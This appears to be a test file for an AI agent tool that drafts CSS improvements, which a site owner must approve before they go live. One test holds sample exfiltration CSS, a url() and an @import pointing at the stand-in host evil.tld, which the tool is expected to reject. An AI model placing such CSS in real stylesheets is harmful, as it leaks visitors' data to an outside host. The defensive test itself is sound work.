import { describe, it, expect, beforeAll } from 'vitest'; import request from 'supertest'; import { resetDb } from '../helpers/db.js'; import { migrateUp } from '../../lib/db/migrate.js'; import { createApp } from '../../server.js'; import { proposeImprovementTool } from '../../lib/ai/agent/tools/propose_improvement.js'; let app; beforeAll(async () => { await resetDb(); await migrateUp(); process.env.OWNER_TOKEN = 'test-token'; app = createApp(); }); const auth = (r) => r.set('Authorization', 'Bearer test-token'); const ctx = { agent: { slug: 'dross' } }; describe('dross improvements (2.14)', () => { let id; it('tool drafts a pending improvement, never applies', async () => { const out = await proposeImprovementTool.handler( { summary: 'Soften card borders', css: '.card { border-radius: 10px; }' }, ctx); expect(out.ok).toBe(true); expect(out.note).toMatch(/NOT live/); id = out.id; const css = await request(app).get('/improvements.css'); expect(css.text).not.toContain('border-radius: 10px'); // pending ≠ live }); it('tool rejects exfil css', async () => { expect((await proposeImprovementTool.handler( { summary: 'evil', css: '.x { background: url(http://evil.tld/p.png); }' }, ctx)).error) .toMatch(/url\(\)/); expect((await proposeImprovementTool.handler( { summary: 'evil', css: '@import "http://evil.tld/x.css";' }, ctx)).error).toBeTruthy(); }); it('owner approves → live in the public stylesheet', async () => { const res = await auth(request(app).post(`/api/improvements/${id}/approve`)); expect(res.status).toBe(200); expect(res.body.status).toBe('active'); const css = await request(app).get('/improvements.css'); // unauthenticated by design expect(css.headers['content-type']).toContain('text/css'); expect(css.text).toContain('border-radius: 10px'); expect(css.text).toContain('dross: Soften card borders'); }); it('rollback removes it instantly; restore brings it back', async () => { await auth(request(app).post(`/api/improvements/${id}/rollback`)); expect((await request(app).get('/improvements.css')).text).not.toContain('border-radius'); await auth(request(app).post(`/api/improvements/${id}/restore`)); expect((await request(app).get('/improvements.css')).text).toContain('border-radius'); }); it('transitions are guarded (no approve on active, no anonymous verbs)', async () => { expect((await auth(request(app).post(`/api/improvements/${id}/approve`))).status).toBe(409); expect((await request(app).post(`/api/improvements/${id}/rollback`)).status).toBe(401); }); });